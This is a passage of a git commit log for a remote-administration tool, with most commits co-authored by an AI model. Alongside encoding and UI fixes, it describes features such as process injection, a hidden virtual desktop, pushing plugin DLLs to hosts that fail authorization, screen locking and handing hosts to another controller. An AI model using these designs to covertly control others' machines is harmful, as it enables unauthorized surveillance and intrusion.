or a pending shell session. The ConnAuth signature cannot be verified on the
server because its key lives in a vendored client library, so the trust
anchor here is the source IP: sub-conns are always opened device-to-server
from the same host as the login conn. BindScreenConn and BindTerminalConn
now reject a sub-conn whose peer IP differs from the device's recorded
main-connection PeerIP.

Co-Authored-By: deepseek-v4-pro
2026-10-13 16:19:39 +02:00
yuanyuanxianganddeepseek-v4-pro 53b7151fb7 Feature: Add admin-only SSO bridge to web UI
Bridge an already-authenticated portal session into a YAMA web session via
a new /sso endpoint, so portal administrators can enter the remote-desktop
UI without a second login. Only the "admin" portal role is bridged; any
other role (viewer, unknown) still falls back to the built-in login form,
so a low-privileged portal account cannot bypass authentication.

- wsauth: extract IssueToken from VerifyLogin so an out-of-band-authenticated
  identity (SSO) can mint a session token without the challenge/response.
- web: add the SSODetector interface, a fail-closed JWT detector (HMAC-only),
  and the /sso handler gated to the admin role.
- cmd: enable the JWT detector via YAMA_SSO_JWT_SECRET, the shared HS256
  secret matching the parent portal.
- web UI: attempt SSO before showing the login form, falling back to login
  when the server returns 401.
- docs: document SSO (admin-only) and license trial-vs-paid troubleshooting
  in README and the env example.

Co-Authored-By: deepseek-v4-pro
2026-10-13 15:46:04 +02:00
yuanyuanxianganddeepseek-v4-pro d2149851b2 Fix: Decode host-management and clipboard text as GBK/UTF-8 on non-Chinese systems
The 主机管理 dialog wrote client data (process names, window titles, net
connection state, software entries, IE history, favorites, services,
scheduled tasks, hosts) through the ANSI InsertItem/SetItemText path, which
re-converts through CP_ACP and garbles Chinese when the operator machine
runs a non-Chinese ACP. Decode each client string with its real code page
and write it via LVM_SETITEMTEXTW, mirroring SystemDlg::SetClientTextItem.
Scheduled-task columns are split by encoding: name/path/exe come from the
client as UTF-8 (BSTRToUTF8) while the status literal stays GBK. Also detect
a UTF-8 BOM in the hosts file so a Notepad-saved hosts (EF BB BF) no longer
shows "锘?" on its first line.

In the keyboard dialog, the clipboard preview edit was an ANSI-class window
filled via utf8_to_ansi (CP_ACP) + SetWindowTextA, so Chinese was replaced
with '?' before it reached the control. Rebuild m_EditClipText as a
Unicode-class window and write the UTF-8 clipboard text via SetWindowTextW,
matching the m_edit record control.

Co-Authored-By: deepseek-v4-pro
2026-10-12 15:41:24 +02:00
yuanyuanxianganddeepseek-v4-pro ca6f76565c Change: Hide client chat dialog on close instead of terminating
Closing the client-side chat dialog (via the "end chat" button or the title-bar
X) now only hides the window and keeps the session alive, instead of destroying
it. Closing the chat stays server-initiated: the next message from the server
reopens the hidden dialog via the existing SW_RESTORE path in OnReceive, and the
dialog is only truly destroyed on COMMAND_CHAT_CLOSE or connection close.

Co-Authored-By: deepseek-v4-pro
2026-10-10 14:39:34 +02:00
yuanyuanxianganddeepseek-v4-pro d15cd77a28 Fix: Decode geographic location as UTF-8 across client and server
Geographic location (city, country) from the geo APIs is UTF-8, but the client
and several server paths converted or stored it in the system ANSI code page,
turning umlauts ("ö"/"ä") into "?" or GBK mojibake ("B枚blingen"). Keep the
value UTF-8 end to end: the client caches it as UTF-8 and re-queries once after
an upgrade (keyed by __DATE__, the app's version convention), while the server
stores and displays it as UTF-8 in the online list, the activity log, the
client-info export, JSON/email payloads and search.

Also add a confirmation prompt before opening a remote chat from the toolbar,
with German, English and Traditional-Chinese translations.

Co-Authored-By: deepseek-v4-pro
2026-10-10 13:58:38 +02:00
yuanyuanxianganddeepseek-v4-pro 1a9312d2d1 Fix: Decode remote file-list names/paths from GBK/UTF-8 on non-Chinese systems
The Windows ghost client lists directories with FindFirstFileA, so remote
file names arrive as GBK/936 bytes. Both file-manager dialogs wrote them
back through ANSI InsertItem/SetItemText, which re-converts through CP_ACP
and garbles Chinese names when the operator machine runs a non-Chinese ACP.

Decode the name/path from the client encoding (GBK for Windows, UTF-8 for
LNX/MAC, chosen by RES_CLIENT_TYPE) and write the text via LVM_SETITEMTEXTW,
keeping the icon through an empty InsertItem - the same pattern used for the
process list, window list and client-list path.

Co-Authored-By: deepseek-v4-pro
2026-10-09 16:23:23 +02:00
yuanyuanxianganddeepseek-v4-pro f3a8406050 Fix: Decode client file path correctly in client list and info popup
The client reports its own exe path as UTF-8 in RES_FILE_PATH. Two
display sites re-decoded those bytes with the wrong code page and turned
Chinese paths into mojibake on non-Chinese servers:

- The client-list "程序路径" column wrote ProgramPath through the ANSI
  SetItemText path, so the UTF-8 bytes were misread as the system ACP.
  Decode UTF-8 to wide and write with LVM_SETITEMTEXTW instead (same
  pattern as the window/process lists).

- The double-click info popup normalized the client RES_* fields to the
  system ACP and rendered strText with CP_ACP -> wide. The app's internal
  ANSI convention is fixed GBK/936 (/execution-charset:.936 plus
  setlocale(".936")), so on non-Chinese systems the path collapsed to '?'.
  Normalize to 936 and decode 936 instead, which also fixes the popup's
  GBK labels and username in the same pass.

Co-Authored-By: deepseek-v4-pro
2026-10-09 15:00:39 +02:00
yuanyuanxianganddeepseek-v4-pro ff6b290580 Fix: Decode process list names/paths as GBK on Windows
Process management decoded the client's process name/path bytes with
GetClientEncoding, which returns UTF-8 for CLIENT_CAP_UTF8 clients. But
the Windows client builds the process list with the ANSI A-interface
(Process32FirstA / QueryFullProcessImageNameA), which emits the client's
system code page (GBK on Chinese Windows) regardless of the UTF-8
capability -- unlike window titles, which were migrated to the
W-interface plus UTF-8. Decoding GBK as UTF-8 garbled Chinese process
names and paths.

Add GetProcessListEncoding(): 936 for Windows clients, UTF-8 for
LNX/MAC, matching McpServer::BuildListProcesses, and use it in
ShowProcessList (which still writes via LVM_SETITEMTEXTW).

Also raise the IP history cap to 1000 and rename the experimental
"隐私屏幕" menu item to "虚拟屏幕".

Co-Authored-By: deepseek-v4-pro
2026-10-09 14:05:52 +02:00
yuanyuanxianganddeepseek-v4-pro da0ec983ba Feature: Show live transfer speed in file-transfer dialog title
Add a smoothed bytes-per-second readout to the CDlgFileSend title,
refreshed about every 200 ms during transfer (e.g. "发送文件 - 5.3M/s").
The base title is captured on the first progress frame and the speed
suffix applied through Unicode APIs (GetWindowTextW / SetWindowTextW),
so the whole title stays correct on non-Chinese systems where the ANSI
message path would misdecode GBK as the system ACP.

Also add the missing "接收文件 (V2)" translation (en_US "Receive File (V2)",
zh_TW "接收檔案 (V2)"), so the V2 receive title no longer falls back to
raw Chinese on non-Chinese systems.

Co-Authored-By: deepseek-v4-pro
2026-10-08 22:15:31 +02:00
yuanyuanxianganddeepseek-v4-pro 6220335f63 Fix: Decode GBK dialog/toolbar text on non-Chinese systems
MBCS dialog templates are decoded with the system ANSI code page, so on
non-Chinese systems the GBK template strings turn into "?" before
TranslateDialog can read them. Set those strings explicitly in OnInitDialog
(PluginSettings save/close, the three Advanced dialogs, the file-manager
search buttons/checkboxes, and Trigger Settings) so they are re-decoded
with the thread locale. Also fix the language-selection dialog and the
toolbar "Lang/语言" button: the language dialog's template is built as
WCHAR strings but created through the ANSI path, so its title, label, and
buttons are set explicitly in OnInitDialog (AppendString stays on CP_ACP),
with the title looked up via _TR("切换语言") and set through SetWindowTextW
after an explicit GBK conversion; new en_US ("Switch Language") and zh_TW
("切換語言") translations accompany it. The toolbar button is set through
the Unicode TB_SETBUTTONINFOW message after an explicit GBK conversion. Add
en_US/zh_TW translations for the experimental-features context menu items.

Co-Authored-By: deepseek-v4-pro
2026-10-08 21:53:53 +02:00
yuanyuanxianganddeepseek-v4-pro c7f7b7b29b Fix: Expand env vars in V2 file receive path
V2 upload to a remote directory picked via the quick-icon shortcuts
(Desktop / Downloads / Home) landed files in a literal "%USERPROFILE%"
folder instead of the real profile. The shortcuts set m_Remote_Path to an
unexpanded "%USERPROFILE%\..." template (FileManagerDlg.cpp
OnRemoteDesktop/Downloads/Home), and the V2 receive path handed that
filename straight to RecvFileChunkV2 (prebuilt FileUpload lib), which writes
it verbatim. V1 upload already expanded env vars in COMMAND_FILE_SIZE
(client/FileManager.cpp ExpandPath), so this is a V2-only regression.

Expand the filename's environment variables in CKernelManager::OnReceive's
COMMAND_SEND_FILE_V2 branch before RecvFileChunkV2, rebuilding the packet
only when the expanded length differs; other packet types pass through
unchanged.

Co-Authored-By: deepseek-v4-pro
2026-10-08 17:56:18 +02:00
yuanyuanxianganddeepseek-v4-pro 59fead7b5f Fix: Deliver file-transfer speed via MasterSettings (was CMD_FILE_SPEED)
The file-transfer speed dialog previously sent a separate CMD_FILE_SPEED
(5 bytes) back-to-back before COMMAND_SCREEN_SPY / COMMAND_LIST_DRIVE when
opening remote desktop or file manager. The IOCP send path batches two
consecutive Send2Client calls into one WSASend of the accumulated
OutCompressedBuffer, so the client received the [FILE_SPEED][SCREEN_SPY]
command stream twice - the root cause of two remote-desktop dialogs popping
up on a single click (introduced in commit 76decec).

Fold the two values into MasterSettings (TransferChunkKb / TransferDurationMs,
uint16 each, before Reserved, sizeof unchanged at 1000) so they reach every
client on login and are broadcast to online clients when the dialog saves.
The client persists them into [transfer] on CMD_MASTERSETTING, guarded by
TransferChunkKb != 0 so older masters keep local defaults. CMD_FILE_SPEED(252)
and its client handler remain for backward compatibility, but the master no
longer sends it.

Update the design doc, the three GBK lang files' prompt entry, and the READMEs.

Co-Authored-By: deepseek-v4-pro
2026-10-07 21:19:04 +02:00
yuanyuanxiang b89428bf35 Release v1.4.0 2026-10-07 13:57:34 +02:00
yuanyuanxianganddeepseek-v4-pro 3928dd76a3 Feature: Add icons to experimental features submenu
Add 16x16 menu icons for the three experimental-features items in the
online-host right-click menu: file management (folder), privacy screen
(shield with padlock), and drawing board (paintbrush). The new bitmaps
follow the existing #F0F0F0-background 32bpp convention and are wired
into the m_bmOnline array via LoadBitmap and SetMenuItemBitmaps, using
the same pattern as the other nested-submenu items.

Co-Authored-By: deepseek-v4-pro
2026-10-06 18:05:14 +02:00
yuanyuanxianganddeepseek-v4-pro d80d8f21da Feature: Add auth-failed trigger type (授权失败触发)
Add a second trigger type TRIGGER_AUTH_FAILED alongside the existing
TRIGGER_HOST_ONLINE. When a host's authorization fails — V1 or V2, at
initial TOKEN_AUTH or on a later heartbeat — the server fires the
auth-failed trigger and sends the configured plugin DLLs to the client,
gated by the existing ShouldLogAuth dedup so a persistently failing host
is re-triggered only once per hour or on a state change.

VerifyClientAuth gains a sender parameter so the failure branch can reach
the live connection context; both call sites (TOKEN_AUTH and heartbeat)
pass it. TriggerManager caches the auth-failed plugin names in a separate
set via HasAuthFailedTrigger/GetAuthFailedPlugins, leaving the online
trigger path untouched.

Rework the settings dialog so the plugin checklist reflects the currently
selected trigger type (new ReflectPluginsForType and a CBN_SELCHANGE
handler) instead of hardcoding the online trigger; remove the now-unused
GetOnlineTrigger helper. Add "授权失败" translations to en_US, zh_TW and
de_DE.

Co-Authored-By: deepseek-v4-pro
2026-10-06 17:50:30 +02:00
yuanyuanxianganddeepseek-v4-pro d269df9171 Feature: Migrate SimplePlugins drawing board (远程画板迁移)
Migrate the SimplePlugins remote drawing-board overlay into the YAMA client
as an "实验功能" right-click submenu entry. DrawingBoardMgr is isolated in
the SimplePluginsDrawingBoard namespace and draws pen paths and text onto a
transparent, top-most layered window.

The YAMA server already had the CDrawingBoard dialog, TOKEN_DRAWING_BOARD
(151) and the full RemoteDraw command set, so only the client overlay
manager and the menu wiring were missing. Add COMMAND_DRAWING_BOARD_PLUGIN
(165) and LoopDrawingBoardPlugin, spawned as a sub-connection from
KernelManager; the constructor sends TOKEN_DRAWING_BOARD so the existing
server dialog opens unchanged. Add a "远程画板" entry to the "实验功能"
submenu, routed via OnExperimentDrawingBoard.

Co-Authored-By: deepseek-v4-pro
2026-10-05 10:52:58 +02:00
yuanyuanxianganddeepseek-v4-pro 2fb6252285 Feature: Migrate SimplePlugins privacy screen (隐私屏幕迁移)
Migrate the SimplePlugins privacy-screen (virtual desktop) feature into the
YAMA client as an "实验功能" right-click submenu entry. The capture layer is
rewritten rather than copied: CScreenHideSpy now subclasses YAMA's ::CScreenSpy
(vDesk=TRUE) so capture and encoding reuse YAMA's encoder pipeline instead of
SimplePlugins' diverged jpeg capture chain; CScreenManagerBase and
CScreenHideManager are migrated under the SimplePluginsScreenHide namespace,
and SimplePlugins-only ALGORITHM_DEFAULT is mapped to ALGORITHM_DIFF.

Add COMMAND_PRIVATE_SCREEN_PLUGIN (164) and LoopPrivateScreenPlugin, spawned
as a sub-connection from KernelManager. The constructor sends
TOKEN_BITMAPINFO_HIDE so the existing server HideScreenSpyDlg opens unchanged.
Add a "隐私屏幕" entry to the "实验功能" submenu, routed via
OnExperimentPrivateScreen.

Also zero-initialize the GetTitle/szClass buffers to fix a 0xCC garbled log.

Co-Authored-By: deepseek-v4-pro
2026-10-05 10:41:04 +02:00
yuanyuanxianganddeepseek-v4-pro 2c3e1ca518 Feature: Migrate SimplePlugins file management (文件管理迁移)
Migrate the SimplePlugins file-management feature into the YAMA client as an
experimental feature. The migrated CFileManager, MasterEncoder and Info-Zip
sources live under client/file/ and are isolated in the SimplePluginsFile
namespace to avoid clashing with the native FileManager class.

Add COMMAND_FILE_MANAGER_PLUGIN (163) and LoopFileManagerPlugin, spawned as
a sub-connection from KernelManager. Add an "实验功能" submenu with a
"文件管理" entry above "客户管理" in the online-hosts right-click menu,
routed via OnExperimentFileManager to the existing TOKEN_DRIVE_LIST_PLUGIN
dialog path.

Co-Authored-By: deepseek-v4-pro
2026-10-05 10:09:26 +02:00
yuanyuanxianganddeepseek-v4-pro f72fda9b71 Feature: Machine management (主机管理)
Migrate the MachineManager client from SimplePlugins and wire the server toolbar.

Client:
- Add CMachineManager (process/window/net/software/IE history/favorites/service/task/hosts
  enumeration plus process injection via yapi.hpp).
- Add COMMAND_MACHINE_MANAGE (162) and spawn the manager on an authenticated
  sub-connection in KernelManager.
- Register MachineManager.cpp/.h and yapi.hpp in both client projects.

Server:
- Add the 主机管理 toolbar button (index 18, after 远程交谈) reusing the IDI_MACHINE icon,
  plus en/zh_TW/de translations.

Fix:
- Free the IEnumSTATURL strings (su.pwcsUrl/su.pwcsTitle) with CoTaskMemFree, release the
  enumerator, and set STATURL.cbSize to stop the IE-history leak reported by VLD.

Co-Authored-By: deepseek-v4-pro
2026-10-04 21:03:03 +02:00
yuanyuanxianganddeepseek-v4-pro c906a46bcc Fix: garbled instant-message popup title on client
The IDD_DIALOG caption was stored as UTF-8 bytes while the .rc file declares #pragma code_page(936) (GBK), so the resource compiler mis-decoded the caption and the client's bottom-right popup showed a garbled title. Convert the caption to GBK to match the declared code page and the rest of the file.

Co-Authored-By: deepseek-v4-pro
2026-10-04 20:10:12 +02:00
yuanyuanxianganddeepseek-v4-pro 6c9fef8793 Feature: Two-way remote chat (远程交谈)
Add a "远程交谈" toolbar button (placed after 连接管理) that sends COMMAND_CHAT(161) to the selected host. The host opens a sub-connection and the new CChatManager replies with TOKEN_CHAT_START(62) to open the server's existing CChat dialog. The host's chat window stays hidden until the first message or a screen-lock command arrives, and it supports server-triggered screen lock/unlock.

Co-Authored-By: deepseek-v4-pro
2026-10-04 19:55:29 +02:00
yuanyuanxianganddeepseek-v4-pro bbdb4104bf Feature: TCP/UDP connection management with force-disconnect
Add a connection-management feature to YAMA: a toolbar button (after MCP)
opens a dialog listing the managed host's TCP/UDP connections, with
right-click force-disconnect for IPv4 TCP rows.

Client: a new CConnectionsManager enumerates connections via iphlpapi
(GetExtendedTcpTable/GetExtendedUdpTable, IPv4+IPv6) and answers the
refresh and kill commands over a sub-connection.

Server: a new CConnectionsDlg (DialogBase) shows the list with sortable
columns and a right-click menu; the title-bar icon reuses the toolbar's
connection icon (res/connections.ico).

Fix byte order found during review: iphlpapi returns an IPv4 address as a
network-order DWORD and the port's low 16 bits in network order, so
storing them raw made the dialog show reversed IPv4 addresses and ports.
The client now stores addresses as network-order bytes and ports as host
order (ntohs), and reverses the conversion on disconnect.

Co-Authored-By: deepseek-v4-pro
2026-10-04 18:23:06 +02:00
yuanyuanxianganddeepseek-v4-pro 8d0f419093 Improve: multi-line keyword input in notification settings
Replace the single-line, semicolon-separated keyword field with a taller
multi-line edit box (with a vertical scrollbar) where each keyword goes on
its own line. The stored format stays semicolon-separated, so existing
notify.ini files remain valid; load/save convert between newlines and
semicolons, trimming each keyword and skipping empty lines.

Also decode the stored matchPattern as UTF-8 when loading the dialog, so
non-ASCII keywords round-trip correctly (matching the CP_UTF8 encoding
used on save).

Co-Authored-By: deepseek-v4-pro
2026-10-04 14:39:38 +02:00
yuanyuanxianganddeepseek-v4-pro f3a05c14b1 Feature: Play remote audio on iPhone via WebAudio + self-hosted Opus WASM
iOS WebKit lacks Media Source Extensions with WebM/Opus, so remote audio
was silent on iPhone Safari/Chrome even though audio frames kept flowing.
Add a Web Audio API fallback path that decodes Opus packets with the
`opus-decoder` WASM library and schedules them onto an AudioContext.

The decoder bundle is now self-hosted — served at /static/opus-decoder.min.js
by both the Go and C++ servers — instead of pulled from a CDN, which was
unreachable from some networks.

Gotcha fixed during bring-up: the unscoped `opus-decoder` build's
`OpusDecoder.decodeFrame` is synchronous and returns {channelData,
samplesDecoded, sampleRate, errors} directly, not a Promise, so it must be
called in try/catch rather than via .then().

Also remove the on-screen diagnostic overlay (audio toast + frame counter)
used while debugging the phone without a console; diagnostics now go to
console.* only.

Co-Authored-By: deepseek-v4-pro
2026-10-03 18:23:10 +02:00
yuanyuanxianganddeepseek-v4-pro d118558eda Fix: skip wasted geo-IP lookup blocking the host double-click tooltip
The online-host double-click handler called IPConverter::GetGeoLocation on
the UI thread before showing the floating tooltip, even when no local IP
database (QQWry/ip2region) was loaded. In that default configuration the
result is never displayed, yet the call issues up to three synchronous HTTP
requests (5s timeout each), delaying the tooltip by a network round trip or
worse.

Only run the lookup when a local database is actually loaded, and memoize
successful results per IP in a process-wide cache inside GetGeoLocation so
the remaining call sites (license activity, host-login fallback) do not
re-query the same IP. The cache uses function-local statics rather than
class members to keep IPConverter's layout unchanged and stay ABI-compatible
with the precompiled PrivateDesktop_Lib.lib QQWry/Ip2Region subclasses.

Co-Authored-By: deepseek-v4-pro
2026-10-03 09:44:01 +02:00
yuanyuanxianganddeepseek-v4-pro 76decec0fe Feature: Add file-transfer speed dialog with multi-language support
Add a novice-friendly "File Transfer Speed" dialog under the Advanced menu
that controls file-transfer speed in both directions without touching
SimplePlugins. Speed is passed through InitFileUpload's existing
chunkSizeKb/sendDurationMs arguments, so the precompiled library stays
untouched. Seven presets run from ~0.3 MB/s up to a new 10 MB/s tier plus an
unlimited tier; the chosen value is stored in [transfer] ChunkKb/DurationMs.

Upload reads THIS_CFG at the master's InitFileUpload (2015RemoteDlg.cpp:2225)
and takes effect on restart. Download is pushed to the client over a new
CMD_FILE_SPEED (252) command, sent from OnOnlineFileManager and
OnOnlineDesktopManager before each session opens, and read by all four client
InitFileUpload call sites via GetTransferSpeed so the process-global refcount
cannot latch a stale speed. All Chinese strings go through LangManager, with
en_US/zh_TW/de_DE entries added for the tier names, format strings and hint
text.

Co-Authored-By: deepseek-v4-pro
2026-10-02 19:57:57 +02:00
yuanyuanxianganddeepseek-v4-pro 9eed43bc8d Feature: Add MCP device management-control tools (kill/window/service/power)
Add P7 management-control tools behind a single McpManage flag (plus
McpReadonly=0): kill_process, operate_window, control_service and
power_action. The write tools run a ready->confirm lifecycle on their
sub-connection, using a new followUp/followUpSent field to tell the two
arrivals of the same TOKEN_*LIST apart; the write command and the follow-up
refresh command go out as two separate Send2Client calls, with a new
WaitSendIdle() (context.h / Server.h) draining the outbound buffer in between
so the same buffer is never WSASend'd concurrently.

McpSettingsDlg gains a "management operations" checkbox (IDC_MCP_MANAGE), the
main toolbar gains an MCP entry button, and en/de/zh-TW strings are synced.
power_action is fire-and-forget over the main connection (no confirmation).

Verified end-to-end against a real Windows 10/VMware client: kill_process
returns remaining:[] and operate_window/control_service return ok:true with
their confirm packet arriving after an HTTP split. Verification surfaced a
prerequisite parser bug, fixed separately in a72e6eb, where HeaderParser
latched m_bShouldUnmask FALSE on HTTP continuation chunks and dropped the
confirm packet.

Co-Authored-By: deepseek-v4-pro
2026-10-01 16:56:30 +02:00
yuanyuanxianganddeepseek-v4-pro a72e6eb391 Fix: keep m_bShouldUnmask latched TRUE once a connection is HTTP
HeaderParser::Parse reset m_bShouldUnmask to FALSE on any non-HTTP
maskType, including the continuation chunk of an HTTP connection whose
read offset is already past the "POST " header. When a large packet
(e.g. a >1460-byte process list) was split by MSS, the second chunk
latched the flag to FALSE, so the next new HTTP-masked packet was no
longer unmasked: CheckHead then read the HTTP header as the flag,
returned FLAG_UNKNOWN/PARSER_FAILED, and the packet was dropped. This
explains "first packet succeeds, subsequent packets vanish", and why
the MFC process dialog went blank after killing a process (the confirm
packet never reached NotifyProc).

Only clear the flag when the connection was not already determined to
be HTTP (initial -1, or already confirmed non-HTTP).

Co-Authored-By: deepseek-v4-pro
2026-10-01 16:18:26 +02:00
yuanyuanxianganddeepseek-v4-pro e9d60e6e23 Feature: Add Shine/HELL protocol selection to share/transfer host
Add a dedicated ShareHostDlg with a "Use Shine protocol" checkbox (default
checked) so the operator can choose Shine (0) or HELL (1) when sharing or
transferring a host. The chosen protocol is appended to the wire payload as a
trailing colon field: "IP:PORT:0/1" for share and "IP:PORT:days:0/1" for
transfer.

The client parses the trailing field from COMMAND_SHARE and
COMMAND_ASSIGN_MASTER, applies it to new connections, and persists it so
auto-share/auto-transfer on restart keeps the same protocol. Old clients
ignore the extra field, and old/missing payloads fall back to -1 (baked-in
HELL), preserving compatibility with existing servers and share_list entries.

Co-Authored-By: deepseek-v4-pro
2026-09-11 16:28:37 +02:00
yuanyuanxianganddeepseek-v4-pro 42df128f62 Feature: Support subpath deployment for Go web UI
Add optional YAMA_WEB_BASE_PATH to mount the whole web UI (index, manifest,
static assets, /health, /api/devices, /ws) under a URL prefix such as
/remoter behind a reverse proxy. index.html now uses a __BASE_PATH__
placeholder substituted at serve time, the PWA manifest start_url is rooted
at the base path, and a mount wrapper redirects the bare prefix to prefix/
and strips it before routing. Include nginx, systemd, and env-file deployment
examples for the subpath setup.

The shared placeholder is also handled by the MFC server, which serves from
the domain root and strips __BASE_PATH__ (to "") so its web remote desktop
URLs stay rooted.

Co-Authored-By: deepseek-v4-pro
2026-09-11 12:48:21 +02:00
yuanyuanxianganddeepseek-v4-pro 32cc7af371 Feature: Add configurable screen-preview quality levels menu
Add a "屏幕预览质量等级 (Screen Preview Quality Levels)" item to the
"高级 (Advanced)" menu that opens a dialog to edit the six preset
PreviewProfile levels (target encode width and JPEG quality) used by the
double-click single-preview and loop-snapshot floating windows. The dialog
edits a working copy in a full grid with per-field validation and a
restore-defaults button; on OK it persists the values to the [preview] INI
section.

ChooseScreenPreviewParams now reads from GetPreviewProfileCfg instead of the
hardcoded GetScreenPreviewProfile table, so preview requests sent after a
change use the configured parameters. LoadPreviewProfilesFromCfg loads the
saved levels at startup, falling back to the built-in defaults. Added
en_US/de_DE/zh_TW translations for the new menu and dialog strings.

Co-Authored-By: deepseek-v4-pro
2026-09-10 14:42:28 +02:00
yuanyuanxianganddeepseek-v4-pro 033ff077ef Feature: Add configurable remote-desktop quality levels menu
Add an "高级 (Advanced)" menu after "其他 (Other)" whose
"远程桌面质量等级 (Remote Desktop Quality Levels)" item opens a dialog to
edit the six preset QualityProfile levels (max FPS, max width, codec
algorithm, bitrate). The dialog edits a working copy in a full grid with
per-field validation and a restore-defaults button; on OK it persists the
values to the [quality] INI section.

The server stays authoritative: LoadQualityProfilesFromCfg loads the saved
levels at startup (falling back to GetQualityProfile defaults), and
ScreenSpyDlg now sends CMD_QUALITY_PROFILES from GetQualityProfileCfg so
new remote-desktop sessions transmit with the configured parameters. Added
en_US/de_DE/zh_TW translations for the menu and dialog strings.

Co-Authored-By: deepseek-v4-pro
2026-09-09 17:13:17 +02:00
yuanyuanxianganddeepseek-v4-pro 0416dadbba Feature: Add language-switch toolbar button and bilingual dialog
Add a 15th toolbar button "Lang/语言" after the Help button so Chinese
readers can switch language without knowing English; it opens the existing
language-select dialog. The dialog title is now bilingual ("切换语言 /
Switch Language") and its label/buttons use Chinese source strings
("语言:", "确定", "取消"), which still localize to en/de via
TranslateDialog. The toolbar bitmap is extended with a globe icon.

Co-Authored-By: deepseek-v4-pro
2026-09-08 16:34:45 +02:00
yuanyuanxianganddeepseek-v4-pro 91238da50d Feature: Add German (de_DE) language support
Add German as the fourth selectable UI language. The new de_DE.ini mirrors
en_US.ini with byte-identical Chinese keys (2028 lines, zero missing
translations, zero key mismatches), so it passes CheckEncoding and appears in
the language list automatically. German values are pure-ASCII transliterations
(ae/oe/ue/ss) because the GBK/CP936 architecture cannot encode umlauts.
LangManager.h now maps de_DE to the display name "Deutsch". Also translated the
seven Chinese value==key gaps that en_US itself left untranslated.

Co-Authored-By: deepseek-v4-pro
2026-09-06 10:33:49 +02:00
yuanyuanxianganddeepseek-v4-pro 221617fe02 Fix: Translate remaining server UI strings missing _TR/_L
Wrap the last untranslated Chinese UI strings so English mode stops showing
raw Chinese. Format strings passed to sprintf/wsprintf and the status-bar
SendMessageTimeout calls now go through _TRF, and the CString/PostMessage
literals plus a few member-initializer and Compare values go through
_TR/_L. Covers the wallet validation message, the SOCKS proxy connection
log lines, the file-manager status bar, and the machine-info progress
messages.

Add the 24 corresponding entries to lang/en_US.ini and lang/zh_TW.ini
(GBK), keeping the escaped-format-string key style. The Yes/No/Desktop/
Recent keys already existed, so the BuildDlg and CFileManagerDlg compare
fixes reuse them.

Co-Authored-By: deepseek-v4-pro
2026-09-06 09:39:59 +02:00
yuanyuanxianganddeepseek-v4-pro dd845823b6 Feature: Add get/set clipboard buttons to remote desktop toolbar
Add two toolbar buttons — get clipboard (letter C) and set clipboard (letter P) —
after the screenshot button and before the minimize button, so clipboard sync stays
reachable in fullscreen mode where the system menu cannot be opened.

The buttons reuse the existing IDM_GET_CLIPBOARD / IDM_SET_CLIPBOARD system-menu
handlers by posting WM_SYSCOMMAND to the parent. The toolbar button count grows
from 16 to 18, and the slide/animation dimensions are widened from 640 to 720.
Letter C/P icons and Simplified-Chinese source strings ("获取剪贴板", "设置剪贴板")
are added, along with English and Traditional-Chinese translations.

Co-Authored-By: deepseek-v4-pro
2026-09-03 13:29:39 +02:00
yuanyuanxiang b41b27bfe4 Release v1.3.9 2026-09-02 19:13:40 +02:00
yuanyuanxianganddeepseek-v4-pro 6bcd593b6d Feature: Add upload_file MCP tool (V2 protocol, main-connection upload)
Implement the P2 upload_file tool to push a local file or directory from the
master to an online Windows host over the existing V2 file-transfer protocol.
The server drives FileBatchTransferWorkerV2 synchronously on the main
connection through a headless callback, reuses the list_files chain for the
overwrite pre-check, and is gated by McpFileTransfer=1 plus McpReadonly=0.

The client main connection never initialized the file-transfer module, so
g_status stayed 0 and RecvFileChunkV2 silently dropped every chunk, truncating
uploads to zero bytes. Add a once-per-process lazy InitFileUpload in the
COMMAND_SEND_FILE_V2 handler that mirrors the FileManager init; the destructor
deliberately does not Uninit so g_status remains 1 across reconnects.

Update the design doc to record the client-side change and correct the
upload_file description to state that sha256 is not returned (V2 has no
receiver-to-sender ACK; integrity is checked client-side and logged only).

Co-Authored-By: deepseek-v4-pro
2026-08-31 22:43:16 +02:00
yuanyuanxianganddeepseek-v4-pro 5c77f5ce14 Feature: Add download_file MCP tool (V2 protocol, SHA-256 verified)
download_file pulls a remote file or directory back to the controller over
the existing V2 file-transfer protocol. It reuses COMMAND_LIST_DRIVE to open
the file-manager sub-link, then sends CMD_DOWN_FILES_V2 so the Windows client
streams COMMAND_SEND_FILE_V2 chunks and a per-file COMMAND_FILE_COMPLETE_V2
SHA-256 checksum over its own authenticated sub-connection. The server routes
those two packet types into a new per-device FileTransferSession whenever a
download is pending, so the headless path never opens the GUI progress dialog;
the C2C and existing GUI branches are left untouched.

Files are written under a normalized local_dir, and every chunk filename is
resolved and verified to stay inside local_dir (directories included) to block
.. traversal; overwrite=false skips existing files and counts them as skipped.
One transfer per host (mutually exclusive with the one-shot pending registry),
a dedicated McpFileTransfer=0-by-default gate surfaced in the settings dialog,
and audit logging complete the change. upload_file remains future work.

Co-Authored-By: deepseek-v4-pro
2026-08-30 13:19:51 +02:00
yuanyuanxianganddeepseek-v4-pro ac2855198b Fix: terminal_exec sentinel timeout on numeric timeout_ms and silent commands
Two independent bugs made MCP terminal tools time out despite the command
finishing.

First, timeout_ms is declared integer in the tool schemas but was parsed
through GetStringArg, which only reads JSON strings. A numeric value fell
through to the 20s default, so callers asking for a longer wait were cut off
at 20s. exec_command, terminal_open, terminal_exec and remote_open now parse
timeout_ms through GetIntArg, which accepts both JSON numbers and digit
strings, keeping the 1..600000 range guard.

Second, FindSentinel treated the __MCP_DONE_<nonce>__ marker as a line start
only when preceded by \n. Commands that produce no output (ping > nul,
Start-Sleep, tar -czf) echo their command line ending in \r, so the marker
never matched and the wait ran to timeout even though the command had
completed. The check now also accepts \r.

Co-Authored-By: deepseek-v4-pro
2026-08-30 13:19:22 +02:00
yuanyuanxianganddeepseek-v4-pro 52b4afb8cf Improve: three-state online host list sorting
Clicking the same column header now cycles ascending -> descending ->
restore default order instead of only toggling direction. The default order
is the host connection order, reconstructed by sorting on online time
(descending alive time) so it no longer depends on the in-memory append
order surviving an earlier sort. The reset preference is persisted as an
empty value so it survives a restart.

Co-Authored-By: deepseek-v4-pro
2026-08-29 16:29:49 +02:00
yuanyuanxianganddeepseek-v4-pro 35dc2d89a0 Fix: hold IoRefCount across deferred heartbeat update to prevent use-after-free
Frequent standby-park churn (duplicate logins sharing one clientID) was
crashing the server with 0xC0000409 (STACK_BUFFER_OVERRUN). The heartbeat
handler posts the raw CONTEXT_OBJECT pointer via PostMessageA
(WM_UPDATE_ACTIVEWND) without holding a reference, so RemoveStaleContext
could recycle the context back to the pool and reuse it before the UI
thread consumed the queued message. UpdateActiveWindow then read a
